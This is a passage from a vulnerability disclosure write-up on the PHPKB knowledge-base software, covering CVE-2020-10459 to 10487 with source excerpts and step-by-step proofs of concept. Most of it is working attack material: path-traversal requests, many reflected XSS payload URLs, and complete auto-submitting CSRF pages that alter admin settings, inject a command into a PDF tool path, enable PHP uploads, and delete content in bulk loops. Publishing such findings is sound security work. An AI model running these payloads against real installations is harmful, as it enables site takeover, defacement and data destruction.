As we can see, the file include/functions.php is included, a check is performed to determine the desired operation, the GET parameters are copied into their respective variables, and the Add_Comment() function, which is defined in include/functions.php, is executed. Let’s analyze the include/functions.php file:

<?php
// Omission of some lines of code
	case 'article.php':
		include( __DIR__ . '/functions-inline-edit.php'); // The function Add_Comment() is not defined here
		include( __DIR__ . '/functions-article.php'); // The function Add_Comment() is defined here
		include( __DIR__ . '/functions-articles-display.php'); // The function Add_Comment() is not defined here
		break;

Several files are included, and the function of interest is found in include/functions-article.php. Let’s analyze this file:

<?php
// Omission of some lines of code and includes
function Add_Comment($article_id=0) { // The Add_Comment() function is defined here
// Omission of some lines of code
	if($comments_allowed=='no'){ // If comments are disabled, then print an error, otherwise continue execution
		echo'<div><br/></div><div class="flagged-message-tpl orange-flag-tpl"><div class="content">'.$lang['article_section_disabled_text'].'</div></div>';
		return;
	}
	if($GLOBALS['UseFor']=='After Post') { // The comparison is true as the global variable UseFor has been set to After Post in the file include/hub.php
// Omission of some lines of code
		if($name=='')		{ $errors .= "<li class=\"error-text\">{$lang['required_text']} ({$lang['name_text']})</li>";	 } // If the name of the comment is empty, print an error
		if($comments=='')	{ $errors .= "<li  class=\"error-text\">{$lang['required_text']} ({$lang['comment_text']})</li>"; } // If the body of the comment is empty, print an error
// Omission of some lines of code
			$detect_entities= array("<",">", "'", '"');
			$change_entities= array("&lt;", "&gt;", "&#39", "&quot;");
			$comments		= str_replace($detect_entities, $change_entities, $comments); // Characters that could cause Cross-Site Scripting are filtered and modified using HTML encoding
			if(mysqli_query($GLOBALS['connection'], "INSERT INTO phpkb_comments VALUES(0, $article_id, '$name', '$email', '$comments', NOW(), '$comment_status')")) // The variables article_id, name, email, comments, current date, and comment_status are inserted into the database

In the last but one step, the comment submitted by the user is checked, and characters that could cause Cross-Site Scripting are filtered. The comment, along with other information, is saved in the database.

The file admin/manage-comments.php allows a Superuser or Editor to manage all the comments that have been published in the knowledge base system. Let’s analyze this file:

<?php
// Omission of some lines of code and includes
include( __DIR__ . '/include/check-authority.php'); // Check if we are authenticated as Superuser/Editor/Writer
// Omission of some lines of code
	$query			= "	SELECT * 
						FROM phpkb_comments {$left_outer_join}
						WHERE {$comments_fetch_query} {$article_id_query} {$articles_string} {$lang_part}
						{$orderby_query} 
						LIMIT {$from},{$range}"; // Prepare the query to retrieve comments from the database
	$results		= mysqli_query($GLOBALS['connection'], $query); // Execute the query
// Omission of some lines of code
									$detect	= array("&acute;","&lsquo;","&rsquo;"," &amp; ","&quot;","&mdash;","&rsquo;","&#92;");
									$change	= array("´","‘","’"," & ",'"',"—","'","\\");
									while($record = mysqli_fetch_assoc($results)) // For each found comment
									{
// Omission of some lines of code
										$comment	= strip_tags(str_replace($detect, $change, htmlspecialchars_decode($record['comment']))); // The functions htmlspecialchars_decode() and str_replace() are executed: this cancels the validation and filtering performed in the file include/functions-article.php
// Omission of some lines of code
													<a class=\"editlink_{$comment_id}\" data-value=\"{$comment}\" data-name=\"comment\" data-pk=\"{$comment_id}\" data-type=\"textarea\" id=\"{$e_prefix}{$comment_id}\" href=\"javascript:;\"><i class=\"fa fa-pencil {$hidden_xs}\"></i> <small class='btn btn-default btn-xs {$GLOBALS['visible_xs']}{$GLOBALS['hidden_sm']}{$GLOBALS['hidden_md']}{$GLOBALS['hidden_lg']}'><i class=\"fa fa-pencil\"></i> Quick Edit</small></a> // The comment variable is printed on the web page without being filtered, resulting in a Cross-Site Scripting vulnerability

When visiting the comment management page, an SQL query is executed to retrieve all the comments saved in the database. On each comment, the str_replace() and htmlspecialchars_decode() functions are applied, which undo the filtering performed in the include/functions-article.php file: the previously encoded harmful characters are decoded. Consequently, the comment is printed without being filtered.

The following proof of concept demonstrates how an external user can exploit this vulnerability:

Video

Arbitrary File Listing (CVE-2020-10459)

Exploitable by: Superuser/Editor/Writer/Translator

Vulnerable file: admin/assetmanager/functions.php

AssetManager is a utility included in PHPKB, which aims to manage files uploaded through the knowledge base system.

This utility allows us to upload files to different pre-defined folders chosen through a dropdown menu. Each time we select a folder, a request is sent to admin/assetmanager/assetmanager.php containing the chosen folder name in the POST parameter inpCurrFolder; the web server responds by displaying the list of files stored in that folder. Here’s an example of the sent request:

REQUEST METHOD: POST
URL: [PHPKB]/admin/assetmanager/assetmanager.php?ffilter=&selView=list&forpdf=
DATA: inpFileToDelete=&inpCurrFolder=..%2F..%2Fassets%2Fimportcomplete&del_refresh=

On the backend side, no type of control is performed, so we can intercept and modify the request. By inserting ../ in the POST parameter inpCurrFolder, it is possible to navigate to higher-level folders. An attacker could thus obtain the list of files present in a folder specified by them.

To demonstrate the vulnerability, I created a folder named test in the root directory of my hard disk and used the following proof of concept:

REQUEST METHOD: POST
URL: [PHPKB]/admin/assetmanager/assetmanager.php?ffilter=&selView=list&forpdf=
Data: inpFileToDelete=&inpCurrFolder=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftest&del_refresh=

Video

Editing a field: Reflected Cross-Site Scripting (CVE-2020-10462)

Exploit aimed at: Superuser

Vulnerable file: admin/edit-field.php

The steps to identify the injection point are as follows:

  • log in as the Superuser;
  • click on the “articles” section, then on “custom fields” and finally on “add new”;
  • fill in the parameters with random values and click on “save custom field”;
  • select the field and click on “edit”.

The vulnerability is located in the p= parameter. I have prepared this proof of concept:

[PHPKB]/admin/edit-field.php?id=2&p="'/><marquee/onstart=confirm(1)>

Editing a template: Reflected Cross-Site Scripting (CVE-2020-10463)

Exploit aimed at: Superuser

Vulnerable file: admin/edit-template.php

The steps to identify the injection point are as follows:

  • log in as the Superuser;
  • click on the “articles” section, then on “article templates” and finally on “add new”;
  • fill in the parameters with random values and click on “save article template”;
  • select the template and click on “edit”.

The vulnerability is located in the p= parameter. I have prepared this proof of concept:

[PHPKB]/admin/edit-template.php?id=1&p="'/><marquee/onstart=confirm(1)>

Editing an article: Reflected Cross-Site Scripting (CVE-2020-10464)

Exploit aimed at: Superuser/Editor

Vulnerable file: admin/edit-article.php

The steps to identify the injection point are as follows:

  • log in as the Superuser;
  • click on the “articles” section, then on “add article”;
  • fill in the parameters with random values and click on “save article”;
  • select the article and click on “edit”.

The vulnerability is located in the p= parameter. I have prepared this proof of concept:

[PHPKB]/admin/edit-article.php?aid=1&p="'/><marquee/onstart=confirm(1)>

Editing a category: Reflected Cross-Site Scripting (CVE-2020-10465)

Exploit aimed at: Superuser

Vulnerable file: admin/edit-category.php

The steps to identify the injection point are as follows:

  • log in as the Superuser;
  • click on the “categories” section, then on “add new”;
  • fill in the parameters with random values, then click on “save category” and finally on “manage categories”;
  • select the category and click on “edit”.

The vulnerability is located in the p= parameter. I have prepared this proof of concept:

[PHPKB]/admin/edit-category.php?id=1&p=ciao"/><marquee/onstart=confirm("1")>

Editing a glossary term: Reflected Cross-Site scripting (CVE-2020-10466)

Exploit aimed at: Superuser

Vulnerable file: admin/edit-glossary.php

The steps to identify the injection point are as follows:

  • log in as the Superuser;
  • click on the “glossary” section, then on “add new”;
  • fill in the parameters with random values, then click on “save”, then on “manage” and finally on “edit”.

The vulnerability is located in the p= parameter. I have prepared this proof of concept:

[PHPKB]/admin/edit-glossary.php?id=5&p= "'/><marquee/onstart=confirm(1)>

Editing a comment: Reflected Cross-Site Scripting (CVE-2020-10467)

Exploit aimed at: Superuser

Vulnerable file: admin/edit-comment.php

The steps to identify the injection point are as follows:

  • send a comment on a random article;
  • log in as the Superuser;
  • click on the “comments” section, then on “pending”;
  • select the comment and click on “edit”.

The vulnerability is located in the p= parameter. I have prepared this proof of concept:

[PHPKB]/admin/edit-comment.php?cid=1&p="'/><marquee/onstart=confirm("XSS+HERE")>

Editing a news article: Reflected Cross-Site Scripting (CVE-2020-10468)

Exploit aimed at: Superuser

Vulnerable file: admin/edit-news.php

The steps to identify the injection point are as follows:

  • log in as the Superuser;
  • click on the “news” section, then on “add new”;
  • fill in the parameters with random values, then click on “save”, then on “manage” and finally on “edit”.

The vulnerability is located in the p= parameter. I have prepared this proof of concept:

[PHPKB]/admin/edit-news.php?id=6&p="'/><marquee/onstart=confirm(1)>

Editing a department: Reflected Cross-Site Scripting (CVE-2020-10469)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-departments.php

The steps to identify the injection point are as follows:

  • log in as the Superuser;
  • click on the “tickets” section, then on “departments”;
  • fill in the parameters with random values, then click on “save” and finally on “edit”.

The vulnerability is located in the sort= parameter. I have prepared this proof of concept:

[PHPKB]/admin/manage-departments.php?sort="'/><marquee/onstart=confirm(1)>&order=

Sorting custom fields: Reflected Cross-Site Scripting (CVE-2020-10470)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-fields.php

The steps to identify the injection point are as follows:

  • log in as the Superuser;
  • click on the “articles” section, then on “custom fields”;
  • add a new field and click on the dropbox menu (the one used to decide whether to display 10/25/50/100 results).

The vulnerability is located in the sort= parameter. I have prepared this proof of concept:

[PHPKB]/admin/manage-fields.php?sort="'/><marquee/onstart=confirm(1)>&order=

Sorting articles: Reflected Cross-Site Scripting (CVE-2020-10471)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-articles.php

The steps to identify the injection point are as follows:

  • log in as the Superuser;
  • click on the “articles” section, then on “my articles”;
  • add a new article and click on the dropbox menu (the one used to decide whether to display 10/25/50/100 results).

The vulnerability is located in the sort= parameter. I have prepared this proof of concept:

[PHPKB]/admin/manage-articles.php?sort="'/><marquee/onstart=confirm(1)>

Sorting templates: Reflected Cross-Site Scripting (CVE-2020-10472)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-templates.php

The steps to identify the injection point are as follows:

  • log in as the Superuser;
  • click on the “articles” section, then on “article templates”;
  • add a new template and click on the dropbox menu (the one used to decide whether to display 10/25/50/100 results).

The vulnerability is located in the sort= parameter. I have prepared this proof of concept:

[PHPKB]/admin/manage-templates.php?sort="'/><marquee/onstart=confirm(1)>

Deleting a category: Reflected Cross-Site Scripting (CVE-2020-10473)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-categories.php

The steps to identify the injection point are as follows:

  • log in as the Superuser;
  • click on the “articles” section, then on “add new”;
  • fill in the parameters with random values, then click on “save category”;
  • click on “manage categories”, then on “delete category”.

The vulnerability is located in the sort= parameter. I have prepared this proof of concept:

[PHPKB]/admin/manage-categories.php?sort="'/><marquee/onstart=confirm("XSS")>&order=&status=public&action=status&status=public&id=1&action=delete

Deleting a comment: Reflected Cross-Site Scripting (CVE-2020-10474)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-comments.php

The steps to identify the injection point are as follows:

  • send a comment on a random article;
  • log in as the Superuser;
  • click on the “comments” section, then on “pending”;
  • select the comment and click on “delete”.

The vulnerability is located in the sort= parameter. I have prepared this proof of concept:

[PHPKB]/admin/manage-comments.php?status=pending&cid=2&action=del&status=pending&sort="'/><marquee/onstart=confirm(1)>&order=

Deleting a ticket: Reflected Cross-Site Scripting (CVE-2020-10475)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-tickets.php

The steps to identify the injection point are as follows:

  • submit a question in the corresponding section;
  • log in as the Superuser;
  • click on “tickets”, then on “delete”.

The vulnerability is located in the sort= parameter. I have prepared this proof of concept:

[PHPKB]/admin/manage-tickets.php?sort="'/><marquee/onstart=confirm(1)>

Editing a glossary term: Reflected Cross-Site Scripting #2 (CVE-2020-10476)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-glossary.php

The steps to identify the injection point are as follows:

  • log in as the Superuser;
  • click on the “glossary” section, then on “add new”;
  • fill in the parameters with random values and click on “save”;
  • click on “edit”, then on “save”.

The vulnerability is located in the sort= parameter. I have prepared this proof of concept:

[PHPKB]/admin/manage-glossary.php?sort="'/><marquee/onstart=confirm(1)>&order=

Editing a news article: Reflected Cross-Site Scripting #2 (CVE-2020-10477)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-news.php

The steps to identify the injection point are as follows:

  • log in as the Superuser;
  • click on the “news” section, then on “add new”;
  • fill in the parameters with random values and click on “save”;
  • click on “edit”, then on “save”.

The vulnerability is located in the sort= parameter. I have prepared this proof of concept:

[PHPKB]/admin/manage-news.php?sort="'/><marquee/onstart=confirm(1)>&order=

Editing global settings: Cross-Site Request Forgery (CVE-2020-10478)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-settings.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “tools” section, then on “manage settings”;
  • click on “save settings”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
    <form action="[PHPKB]/admin/manage-settings.php" method="POST" id="myForm" name="myForm">
<input type="hidden" name="kbname" value="test" />
      <input type="hidden" name="kburl" value="[PHPKB]" />
      <input type="hidden" name="kb&#95;access" value="unrestricted" />
      <input type="hidden" name="extended&#95;support&#95;license&#95;key" value="" />
      <input type="hidden" name="mail&#95;server" value="default" />
      <input type="hidden" name="smtp&#95;hostname" value="" />
      <input type="hidden" name="smtp&#95;username" value="" />
      <input type="hidden" name="smtp&#95;password" value="" />
      <input type="hidden" name="smtp&#95;port" value="" />
      <input type="hidden" name="encryption&#95;method" value="None" />
      <input type="hidden" name="emails&#95;debug&#95;mode" value="0" />
      <input type="hidden" name="emails&#95;debug&#95;output" value="error&#95;log" />
      <input type="hidden" name="send&#95;mails&#95;from" value="" />
      <input type="hidden" name="test&#95;email" value="" />
      <input type="hidden" name="mysqlserver" value="127&#46;0&#46;0&#46;1" />
      <input type="hidden" name="mysqlusername" value="root" />
      <input type="hidden" name="mysqlpswd" value="DummyPass" />
      <input type="hidden" name="mysqldatabase" value="test" />
      <input type="hidden" name="kb&#95;layout" value="fluid" />
      <input type="hidden" name="category&#95;tree&#95;width" value="3" />
      <input type="hidden" name="sidebar&#95;orientation" value="left" />
      <input type="hidden" name="category&#95;tree&#95;layout" value="normal" />
      <input type="hidden" name="show&#95;tree&#95;articles" value="yes" />
      <input type="hidden" name="category&#95;articles&#95;count" value="show" />
      <input type="hidden" name="categories&#95;display&#95;order" value="Alphabetic" />
      <input type="hidden" name="home&#95;theme" value="modern" />
      <input type="hidden" name="home&#95;search&#95;layout" value="default" />
      <input type="hidden" name="categories&#95;layout&#95;theme" value="theme1" />
      <input type="hidden" name="show&#95;categories&#95;cols" value="4" />
      <input type="hidden" name="category&#95;title&#95;size" value="normal" />
      <input type="hidden" name="home&#95;articles&#95;layout" value="tabbed" />
      <input type="hidden" name="display&#95;featured" value="yes" />
      <input type="hidden" name="featured&#95;count" value="5" />
      <input type="hidden" name="display&#95;popular" value="yes" />
      <input type="hidden" name="popular&#95;count" value="5" />
      <input type="hidden" name="display&#95;rated" value="yes" />
      <input type="hidden" name="rated&#95;count" value="5" />
      <input type="hidden" name="display&#95;recent" value="yes" />
      <input type="hidden" name="recent&#95;count" value="5" />
      <input type="hidden" name="enable&#95;subscribe&#95;kb" value="yes" />
      <input type="hidden" name="kb&#95;subscribe&#95;theme" value="minimal" />
      <input type="hidden" name="category&#95;articles&#95;layout" value="default" />
      <input type="hidden" name="category&#95;page&#95;records&#95;default" value="10" />
      <input type="hidden" name="category&#95;page&#95;records&#95;minimal" value="10" />
      <input type="hidden" name="articles&#95;sortby" value="Popularity" />
      <input type="hidden" name="articles&#95;sortorder" value="Descending" />
      <input type="hidden" name="enable&#95;subscribe&#95;category" value="yes" />
      <input type="hidden" name="enable&#95;news&#95;page" value="yes" />
      <input type="hidden" name="display&#95;homepage&#95;news" value="yes" />
      <input type="hidden" name="number&#95;homepage&#95;news" value="5" />
      <input type="hidden" name="enable&#95;login&#95;page" value="yes" />
      <input type="hidden" name="enable&#95;glossary&#95;page" value="yes" />
      <input type="hidden" name="enable&#95;contact&#95;page" value="yes" />
      <input type="hidden" name="send&#95;contact&#95;email" value="yes" />
      <input type="hidden" name="contact&#95;email&#95;address" value="hey.do.not.try.to.grab.my.information@justjoking.it" />
      <input type="hidden" name="enable&#95;instant&#95;suggestions" value="yes" />
      <input type="hidden" name="minimum&#95;question&#95;characters" value="60" />
      <input type="hidden" name="default&#95;search" value="Articles" />
      <input type="hidden" name="search&#95;in&#95;articles" value="All" />
      <input type="hidden" name="search&#95;in&#95;others" value="Both" />
      <input type="hidden" name="search&#95;filter" value="Any&#32;Word" />
      <input type="hidden" name="display&#95;recentviewed" value="yes" />
      <input type="hidden" name="recentviewed&#95;count" value="5" />
      <input type="hidden" name="display&#95;popular&#95;searches" value="yes" />
      <input type="hidden" name="popularsearch&#95;count" value="5" />
      <input type="hidden" name="article&#95;page&#95;theme" value="default" />
      <input type="hidden" name="article&#95;sidebar&#95;content" value="related" />
      <input type="hidden" name="enable&#95;add&#95;favorite" value="yes" />
      <input type="hidden" name="enable&#95;print&#95;article" value="yes" />
      <input type="hidden" name="enable&#95;email&#95;article" value="yes" />
      <input type="hidden" name="enable&#95;exportto&#95;msword" value="yes" />
      <input type="hidden" name="enable&#95;exportto&#95;pdf" value="yes" />
      <input type="hidden" name="enable&#95;subscribe&#95;article" value="yes" />
      <input type="hidden" name="enable&#95;custom&#95;fields" value="yes" />
      <input type="hidden" name="enable&#95;article&#95;rating" value="yes" />
      <input type="hidden" name="enable&#95;article&#95;hits" value="yes" />
      <input type="hidden" name="enable&#95;article&#95;author" value="yes" />
      <input type="hidden" name="show&#95;author&#95;email" value="yes" />
      <input type="hidden" name="enable&#95;related&#95;articles" value="yes" />
      <input type="hidden" name="number&#95;related&#95;articles" value="10" />
      <input type="hidden" name="show&#95;related&#95;articles&#95;randomly" value="yes" />
      <input type="hidden" name="enable&#95;article&#95;feedback" value="yes" />
      <input type="hidden" name="enable&#95;article&#95;comments" value="yes" />
      <input type="hidden" name="existing&#95;comments&#95;visibility" value="hide" />
      <input type="hidden" name="show&#95;comments&#95;to" value="all" />
      <input type="hidden" name="comments&#95;sortorder" value="Descending" />
      <input type="hidden" name="email&#95;privacy&#95;protection" value="yes" />
      <input type="hidden" name="article&#95;meta&#95;source" value="article&#32;title" />
      <input type="hidden" name="notify&#95;pending&#95;comment&#95;superuser" value="yes" />
      <input type="hidden" name="notify&#95;approved&#95;comment&#95;user" value="yes" />
      <input type="hidden" name="schema&#95;publisher&#95;name" value="" />
      <input type="hidden" name="schema&#95;publisher&#95;logo" value="" />
      <input type="hidden" name="enable&#95;rss&#95;feed" value="yes" />
      <input type="hidden" name="enable&#95;rss&#95;featured&#95;feed" value="yes" />
      <input type="hidden" name="enable&#95;rss&#95;popular&#95;feed" value="yes" />
      <input type="hidden" name="enable&#95;rss&#95;latest&#95;feed" value="yes" />
      <input type="hidden" name="enable&#95;rss&#95;rated&#95;feed" value="yes" />
      <input type="hidden" name="enable&#95;rss&#95;related&#95;feed" value="yes" />
      <input type="hidden" name="number&#95;login&#95;attempts" value="9" />
      <input type="hidden" name="login&#95;delay" value="15" />
      <input type="hidden" name="maxfilesize" value="5120" />
      <input type="hidden" name="kb&#95;allowed&#95;upload&#95;file&#95;types" value="php" />
      <input type="hidden" name="searching&#95;method" value="0" />
      <input type="hidden" name="fulltext&#95;mode" value="0" />
      <input type="hidden" name="searchresultsperpage" value="10" />
      <input type="hidden" name="enable&#95;search&#95;files" value="yes" />
      <input type="hidden" name="doc&#95;path" value="C&#58;&#92;antiword&#92;antiword&#46;exe" />
      <input type="hidden" name="ppt&#95;path" value="C&#58;&#92;xampp&#92;htdocs&#92;phpkb&#92;admin&#92;ppthtml&#46;exe" />
      <input type="hidden" name="xls&#95;path" value="C&#58;&#92;xampp&#92;htdocs&#92;phpkb&#92;admin&#92;xlhtml&#46;exe" />
      <input type="hidden" name="pdf&#95;path" value="C&#58;&#92;xampp&#92;htdocs&#92;phpkb&#92;admin&#92;pdftotext&#46;exe" />
      <input type="hidden" name="enable&#95;pdf" value="pdf" />
      <input type="hidden" name="index&#95;attachment" value="yes" />
      <input type="hidden" name="enable&#95;autosave" value="yes" />
      <input type="hidden" name="autosave&#95;interval" value="120000" />
      <input type="hidden" name="use&#95;wysiwyg&#95;editor" value="yes" />
      <input type="hidden" name="enable&#95;version&#95;history" value="yes" />
      <input type="hidden" name="enable&#95;captcha" value="yes" />
      <input type="hidden" name="captcha&#95;type" value="default" />
      <input type="hidden" name="recaptcha&#95;site&#95;key" value="" />
      <input type="hidden" name="recaptcha&#95;secret&#95;key" value="" />
      <input type="hidden" name="syntax&#95;highlighter&#95;theme" value="shThemeRDark" />
      <input type="hidden" name="pdf&#95;library" value="wkhtmltopdf" />
      <input type="hidden" name="wkhtmltopdf&#95;path" value="ping&#32;127.0.0.1" />
      <input type="hidden" name="pdf&#95;header" value="" />
      <input type="hidden" name="pdf&#95;footer&#95;type" value="default" />
      <input type="hidden" name="pdf&#95;page&#95;numbers" value="yes" />
      <input type="hidden" name="pdf&#95;page&#95;number&#95;position" value="Left" />
      <input type="hidden" name="pdf&#95;footer" value="" />
      <input type="hidden" name="kb&#95;meta&#95;keywords" value="" />
      <input type="hidden" name="kb&#95;meta&#95;desc" value="This&#32;is&#32;demo&#32;meta&#32;description&#46;&#32;You&#32;can&#32;enter&#32;here&#32;your&#32;meta&#32;description&#46;" />
      <input type="hidden" name="admin&#95;results&#95;perpage" value="10" />
      <input type="hidden" name="&#95;selected&#95;tab&#95;" value="" />
      <input type="hidden" name="submit&#95;hd" value="Save" />
      <input type="hidden" name="submit&#95;float&#95;btn" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Creating a news article: Cross-Site Request Forgery (CVE-2020-10479)

Exploit aimed at: Superuser/Editor

Vulnerable file: admin/add-news.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser o Redattore;
  • click on the “news” section, then on “add new”;
  • fill in the parameters with random values and click on “save news”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
<!-- Change the title parameter to set the title of the news article -->
<!-- Change the txtContent parameter to set the description of the news article -->
<!-- Set the make_visible parameter to yes if you want to make the news article public, or set it to no if you want to make it private -->
  <body>
  <script>history.pushState('', '', '/')</script>
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
    <form action="[PHPKB]/admin/add-news.php" method="POST" id="myForm" name="myForm">
      <input type="hidden" name="title" value="test" />
      <input type="hidden" name="txtContent" value="&lt;p&gt;test&lt;&#47;p&gt;" />
      <input type="hidden" name="make&#95;visible" value="yes" />
      <input type="hidden" name="expiry&#95;date" value="2020&#45;01&#45;26" />
      <input type="hidden" name="autosave&#95;id" value="0" />
      <input type="hidden" name="directsave" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Creating a category: Cross-Site Request Forgery (CVE-2020-10480)

Exploit aimed at: Superuser

Vulnerable file: admin/add-category.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “categories” section, then on “add new”;
  • fill in the parameters with random values and click on “save category”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
<!-- Change the title parameter to set the title of the category -->
<!-- Change the content parameter to set the description of the category -->
<!-- Set the type parameter to public if you want to make the category public, or set it to private if you want to make it private -->
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
    <form action="[PHPKB]/admin/add-category.php" method="POST" id="myForm" name="myForm">
      <input type="hidden" name="type" value="public" />
      <input type="hidden" name="title" value="csrfvulnerability" />
      <input type="hidden" name="parent&#95;public" value="0" />
      <input type="hidden" name="parent&#95;private" value="0" />
      <input type="hidden" name="content" value="csrfvulnerability" />
      <input type="hidden" name="group&#95;permissions" value="none" />
      <input type="hidden" name="submit" value="Save&#32;Category" />
      <input type="submit" value="Submit request" />
    </form>
</body>
</html>

Adding a glossary term: Cross-Site Request Forgery (CVE-2020-10481)

Exploit aimed at: Superuser

Vulnerable file: admin/add-glossary.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “glossary” section, then on “add new”;
  • fill in the parameters with random values and click on “save glossary term”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
<!-- Change the term parameter to set the glossary term -->
<!-- Change the definition parameter to set the definition of the glossary term -->
<!-- Set the visible parameter to yes if you want to make the glossary term public, or set it to no if you want to make it private -->
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
    <form action="[PHPKB]/admin/add-glossary.php" method="POST" id="myForm" name="myForm">
      <input type="hidden" name="term" value="testt" />
      <input type="hidden" name="definition" value="testt" />
      <input type="hidden" name="visible" value="yes" />
      <input type="hidden" name="submit" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
</body>
</html>

Adding an article template: Cross-Site Request Forgery (CVE-2020-10482)

Exploit aimed at: Superuser

Vulnerable file: admin/add-template.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “articles” section, then on “article templates” and finally on “add”;
  • fill in the parameters with random values and click on “save article template”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
<!-- Change the title parameter to set the title of the template -->
<!-- Change the txtContent parameter to set the body of the template -->
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
    <form action="[PHPKB]/admin/add-template.php" method="POST" id="myForm" name="myForm">
      <input type="hidden" name="title" value="dsa" />
      <input type="hidden" name="txtContent" value="&lt;p&gt;sda&lt;&#47;p&gt;" />
      <input type="hidden" name="make&#95;visible" value="active" />
      <input type="hidden" name="directsave" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Submitting a comment: Cross-Site Request Forgery (CVE-2020-10483)

Exploit aimed at: Anyone who is logged in

Vulnerable file: admin/ajax-hub.php

The steps to follow in order to identify the vulnerability are:

  • post a comment on a random article.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
<!-- Change the aid parameter to set the ID of the article you want to comment on -->
<!-- Change the cmt parameter to set the body of the comment -->
	<head>
		<title>Exploit CSRF!</title>
		<script>
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/include/ajax-hub.php?usefor=AddComments&aid=2&nm=&em=&cmt=sdsda&sc=undefined")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
		</script>
	</head>
	<body>
		<center><h1>Comment sent!</h1></center>
</html>

Creating a custom field: Cross-Site Request Forgery (CVE-2020-10484)

Exploit aimed at: Superuser

Vulnerable file: admin/add-field.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “articles” section, then on “custom fields” and finally on “add”;
  • fill in the parameters with random values and click on “save custom field”;

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
<!-- Change the title parameter to set the title of the field -->
<!-- Change the txtContent parameter to set the description of the field -->
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
    <form action="[PHPKB]/admin/add-template.php" method="POST" id="myForm" name="myForm">
      <input type="hidden" name="title" value="dsa" />
      <input type="hidden" name="txtContent" value="&lt;p&gt;sda&lt;&#47;p&gt;" />
      <input type="hidden" name="make&#95;visible" value="active" />
      <input type="hidden" name="directsave" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Deleting an article: Cross-Site Request Forgery (CVE-2020-10485)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-articles.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “articles” section, then on “my articles”;
  • click on “delete”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- The number of articles to be deleted, in this case, is 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-articles.php?sort=&order=&status=own&aid=" + i + "&action=del")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>I am sending the requests!</h1></center>
</html>

Deleting a comment: Cross-Site Request Forgery (CVE-2020-10486)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-comments.php

The steps to follow in order to identify the vulnerability are:

  • post a comment on a random article;
  • log in as the Superuser;
  • click on the “comments” section, then on “pending”;
  • select the comment and click on “delete”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- The number of comments to be deleted, in this case, is 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-comments.php?cid=" + i + "&action=del")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>I am sending the requests!</h1></center>
</html>

Deleting a glossary term: Cross-Site Request Forgery (CVE-2020-10487)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-glossary.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “glossary” section, then on “manage”;
  • select the glossary term and click on “delete”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- The number of glossary terms to be deleted, in this case, is 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-glossary.php?id=" + i + "&action=del")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
